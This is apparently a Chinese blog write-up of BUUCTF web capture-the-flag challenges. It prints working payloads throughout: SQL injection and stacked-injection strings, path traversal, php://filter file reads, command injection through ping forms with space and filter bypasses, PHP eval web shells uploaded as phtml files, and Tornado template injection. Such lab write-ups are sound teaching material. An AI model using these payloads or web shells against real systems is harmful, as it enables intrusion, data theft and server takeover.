BUUCTF web刷题

目录

[极客大挑战 2019]EasySQL

[HCTF 2018]WarmUp

[极客大挑战 2019]Havefun

[ACTF2020 新生赛]Include

[强网杯 2019]随便注

[SUCTF 2019]EasySQL

[ACTF2020 新生赛]Exec

[极客大挑战 2019]Secret File

[GXYCTF2019]Ping Ping Ping

[极客大挑战 2019]Knife

[极客大挑战 2019]Upload

[ACTF2020 新生赛]Upload

[护网杯 2018]easy_tornado


BUUCTF刷题日常:

[极客大挑战 2019]EasySQL

发现一个登录框,很容易想到sql注入(题目便是)。

尝试一下万能密码:

1' or 1=1 #

得到flag。

[HCTF 2018]WarmUp

点开后是一个滑稽的图片,没发现其他的,F12点开源码,发现<!--source.php-->。

所以访问source.php。

得到一串代码。

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?'));
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

一点一点分析,发现了一个hint.php,访问一下,得到了flag在ffffllllaaaagggg中。

注意:

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

明确目的,要想得到flag,可以利用include来包含ffffllllaaaagggg文件得到。

If条件中有三个条件,file不为空、是字符串,第三个是通过checkFile的检验,且需让其返回ture。

CheckFile中有四个if语句,后三个都可以返还ture。

mb_strpos — 查找字符串在另一个字符串中首次出现的位置

mb_substr() 函数返回字符串的一部分

利用?的截取和目录穿越来构造payload;

Payload:?file=source.php%253f../../../../../ffffllllaaaagggg

传入得到flag。

[极客大挑战 2019]Havefun

F12查看源码,得到了:       

$cat=$_GET['cat'];

        echo $cat;

        if($cat=='dog'){

            echo 'Syc{cat_cat_cat_cat}';

        }

传入:cat=dog

即可得到flag

[ACTF2020 新生赛]Include

题目为include,那肯定是利用include得到flag。

进入后发现url中GET了一个file,且后边带了一个flag.php。

所以猜测flag在flag.php中,利用oho伪协议读取flag.php。

Payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

然后用base64解码,得到flag。

[强网杯 2019]随便注

首先利用万能密码发现可以查看到所有表中的数据,但没有flag。

本来想接着利用联合查询语句来查看数据库名称,但发现被过滤了。

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

由于select被过滤,所以查询语句不可用。

想到了堆叠注入,尝试一下查看数据库名称

1’;show databases;#

发现成功查到了数据库名,接着查询表名。

1';show tables;#

查看表结构,发现flag在”1919810931114514”中。

1';desc `1919810931114514`;#

利用堆叠注入改名方法,将word改为feng,将1919810931114514改为word,

将flag改为id。

1';rename table words to feng;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

然后再利用万能密码查看表中的数据,得到flag。

[SUCTF 2019]EasySQL

还是堆叠注入,先分别利用1;show databases;和1;show databases;查询库名和表名。

发现一个Flag,猜测flag在表Flag中,于是查看Flag表结构。

本想直接从Flag中得到flag,但发现flag被过滤了。

看了wp发现,需要自己猜测题目的内置sql语句。

需要通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部查询语句可能存在||,也就是select输入的数据中有一个内置的列名 from 表名,然后再猜测为select post进去的数据||列名 from 表名,此时||的作用相当于or。

语句为:sql="select".sql="select".post[‘query’]."||flag from Flag";

传入:*,1

相当于变成了select *,1||flag from Flag,也就是select *,1 from Flag。

意为查看Flag中的所有内容。

[ACTF2020 新生赛]Exec

点开发现为ping命令,所以直接输入127.0.0.1;ls或127.0.0.1|ls

没看到flag,然后再输入127.0.0.1;ls /

看到flag,所以直接输入127.0.0.1;cat /flag(好像没什么过滤)

[极客大挑战 2019]Secret File

开始点了半天啥都没有,题目为Secret File,所以注意一下文件。

看到了一个action.php文件,但好像无法直接访问,会跳转到end.php。

于是打开bp抓包,然后访问action.php

继续访问secr3t.php,发现了一串代码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

因为有include,所以利用php伪协议来读取flag.php。

Payload:

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

然后base64解码得到flag

[GXYCTF2019]Ping Ping Ping

还是ping命令,直接传入127.0.0.1|ls。

发现flag.php文件,然后我又cat flag.php,发现空格被过滤了。

用$IFS$1代替空格,然后又发现flag被过滤了。

只能先看一下index.php文件。

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){

    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);

    die("fxck your symbol!");

  } else if(preg_match("/ /", $ip)){

    die("fxck your space!");

  } else if(preg_match("/bash/", $ip)){

    die("fxck your bash!");

  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){

    die("fxck your flag!");

  }

  $a = shell_exec("ping -c 4 ".$ip);

  echo "

";

  print_r($a);

}


?>

发现都被过滤了,我想不到别的办法,看其他师傅的wp,学到了一种方法。

可以用变量覆盖来获取flag。

传入

127.0.0.1;f=g;cat$IFS$1fla$f.php

利用变量f为中间变量,令f=g,可以绕过过滤。

还可以将ls的结果当作cat的参数,查看ls文件中的所有内容。

127.0.0.1;cat$IFS$1`ls`

得到flag。

[极客大挑战 2019]Knife

直接蚁剑或菜刀连一下就好,密码为Syc,然后直接就可以得到flag。

[极客大挑战 2019]Http

注意题目http。

进入后没啥发现,然后查看源码

发现一个Secret.php文件,直接访问

然后显示一串英文,意思是:它不是来自https://Sycsecret.buuoj.cn,所以我们要改为https://Sycsecret.buuoj.cn

Bp抓包添加referer:https://Sycsecret.buuoj.cn

然后发现还有浏览器的要求,于是再修改一下浏览器,还需要加一个X-Forwarded-For: 127.0.0.1,将结果输出到本地。

referer: https://Sycsecret.buuoj.cn

然后放包,得到flag。

[极客大挑战 2019]Upload

发现只能上传图片文件(应该格式和文件头查询),而且不能含有<?。

没啥思路,随便访问了一下upload,发现了phtml文件,所以有了思路,上传phtml文件会被当作php文件解析,以此来达到getshell目的

上传2.phtml

GIF89a? <script language="php">eval($_REQUEST['feng'])</script>

然后访问,利用HackBar来POST传参:

feng=system('cat /flag');

得到flag。

[ACTF2020 新生赛]Upload

看了好一会才发现灯泡上边有传入文件。

直接传入1.jpg文件然后bp抓包改名字为1.phtml然后在bp里上传。

内容:

<?php eval($_POST['feng']);?>

然后蚁剑连接得到flag。

或者利用hackbar的POST传参:

feng=system('cat /flag');

[护网杯 2018]easy_tornado

三个文件里的内容分别是:

/welcome.txt
render

/flag.txt
flag in /fllllllllllllag

/hints.txt
md5(cookie_secret+md5(filename))

这个render直接搜了一下:render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用。

Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

可以利用{{handler.settings}}来获取cookie_secret。
 
看源码,可以猜测题目意思是让我们利用md5来算出/fllllllllllllag的filehash值。
Md5加密后结果为1c1bdada81051810bcdd63e93b2dbf04

传入

/file?filename=/fllllllllllllag&filehash=1c1bdada81051810bcdd63e93b2dbf04

/file?filename=/fllllllllllllag&filehash=1c1bdada81051810bcdd63e93b2dbf04

得到flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

f0njl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值